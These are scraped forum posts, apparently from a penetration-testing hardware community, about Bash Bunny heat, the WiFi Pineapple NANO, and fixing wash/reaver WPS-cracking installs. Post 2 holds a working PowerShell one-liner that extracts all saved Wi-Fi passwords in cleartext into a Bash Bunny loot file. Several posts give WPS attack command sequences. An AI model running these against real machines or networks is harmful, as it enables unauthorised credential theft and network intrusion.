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  1. Bash Bunny Melting

    I had drilled a few little holes on the vertical USB side of the casing. It stays a bit cooler. It still heats up a fair amount but nothing at all like before.
  2. Violation of CoC

    this is old, but.. does the following work for you? $'$Bunny = (gwmi win32_volume -f \'label=\'\'BashBunny\'\'\' | Select-Object -ExpandProperty DriveLetter) (netsh wlan show profiles) | Select-String "\:(.+)$" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name="$name" key=clear)} | Select-String "Key Content\W+\:(.+)$" | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Format-Table -AutoSize | Out-File $Bunny\loot\WiFiCreds\WiFi.txt' Dollar qoutes $' ' for this purpose should work, only \ escaping your ' characters. >echo $'isn\'t this easier?' >isn't this easier?
  3. Introducing the WiFi Pineapple NANO

    Nice to see it! Cant wait to get some goodies built and running on this bad boy! >:)
  4. [Release] pixiewps 1.1 & reaver 1.5.2

    Okay, doing a wash scan via ssh, try taking down the monitor mode enabled device before using wash / reaver / bully. in this example, I will use wlan1 airmon-ng start wlan1 #to start monitor mode ifconfig wlan1 down #to bring down the wlan1 interface wash -i mon0 -s #then the scan And let it sit for a minute. If still nothing, try wash -i mon0 -C -s Sit for a minute, and if nothing again, can you verify that you do have enough space on the internal storage? I have noticed on very low space on internal installs, wash and such will fail to produce results, and reaver / bully functionality seems to get faulted. Not just with this version, but with original versions also. If you had installed the portal auth infusion, that also seems to take a hunk of the internal storage when first installed, and was a common scenario of the internal space being filled up quickly from several troubleshooting sessions with others. And some, were just too many other packages installed, etc.
  5. [Release] pixiewps 1.1 & reaver 1.5.2

    Can you please explain the process you are using in full step by step detail? Have you any prior installs? Did you do an sd install? If so, did you do the proper symlinking afterwards?
  6. [Release] pixiewps 1.1 & reaver 1.5.2

    How much free space do you have left on internal storage? I've replicated the issue on low internal space left with reaver / wash installed on internal, caused no wash output. Also, I have not yet verified this to replicate the issue, but have you removed the sdcard install of reaver prior to the internal install? I'd check to see if the binaries are still left behind on the sd if not. Maybe there is a conflict of which wash is currently being executed?
  7. [Release] pixiewps 1.1 & reaver 1.5.2

    If you did an sdcard install, can you verify that all symlinks are in place from following mkdir /etc/reaver ln -s /sd/etc/reaver/reaver.db /etc/reaver/ ln -s /sd/usr/bin/reaver /usr/bin/ ln -s /sd/usr/bin/wash /usr/bin/
  8. [Release] pixiewps 1.1 & reaver 1.5.2

    And what if you run wash via the command line?
  9. [Release] pixiewps 1.1 & reaver 1.5.2

    We didn't change much of the old functionality of reaver in our fork. The only changes were made that we did for the old reaver functionality is all bug fix / improvement, but wash has had a change in its -C switch being default implied ( reverse functionality ). But we've added a ton of new features to reaver. So the old syntax is pretty much the same except for wash -C. We didn't make it so it requires new aircrack-by 1.2 rc2, the wlan0mon etc references in the documentation, are there because now since 1.2 rc2, wlanXmon is the new standard default for airmon-ng interface naming. So you can use older versions of aircrack / airmon ( mon0 interfaces etc ) Regarding the infusion, I couldn't tell you what all will be done by whistlemaster, but all that needs to be done to bring it up to date, is just a bit of extra parsing / make use of and for the new commands we've added. But that all depends on how he wants the infusion to functionally work.
  10. [Release] pixiewps 1.1 & reaver 1.5.2

    Endian 1 in the repos is the latest version, that 2 was a naming incremental from my compiles. If you need, follow the proper install chain ( just some proper symlinks). This has been an issue for over a year or so, but not an issue with reaver or wash. It's across tons of different packages that if installed to sd, aren't linked properly to internal root Another note, -C is now reverse functional. -C in the command disables, no -C in the command enables. Try the wash command without -C
  11. [Release] pixiewps 1.1 & reaver 1.5.2

    It is my understanding, that our reaver fork is now officially in the pineapple repositories!! :-)
  12. [Release] pixiewps 1.1 & reaver 1.5.2

    a good "refresh" of the interfaces is good every now and then :-) also, make sure you ifconfig wlan1 down prior to reaver / wash / aircrack use. Of course, replace wlan1 with whichever wlanx interface you put into monitor mode for reaver :-) that can cause problems also if you don't. Glad you got it sorted :-)
  13. [Release] pixiewps 1.1 & reaver 1.5.2

    reaver_Big_endian-2_ar71xx https://mega.nz/#!C9oiSDxI!aaZa7MacA1FpFlanz7mLF4RF7QDw86ldK731Iy5e9Q8 This update reflects some needed memory improvements
  14. [Release] pixiewps 1.1 & reaver 1.5.2

    I have made memory improvements in reaver, i will post the compiled binary a bit later :-)
  15. [Release] pixiewps 1.1 & reaver 1.5.2

    First post updated, new build up, with new features and bug fixes. important note, -vvv (yes that 3 v's) is now used to display "PixieHashes" you must use this now instead of -vv. also, ive added auto hash logging with the -H switch. so if coupled with -vvv and or -P or -K 1 etc, it will save a log of all the hashes gathered with a filename of the target bssid [macaddress].pixie this file also includes a full command ready for putting into pixiewps, or you can chmod +x the file, and just run it as a script to auto crack the hashes. there has also been a new default pin generator added :)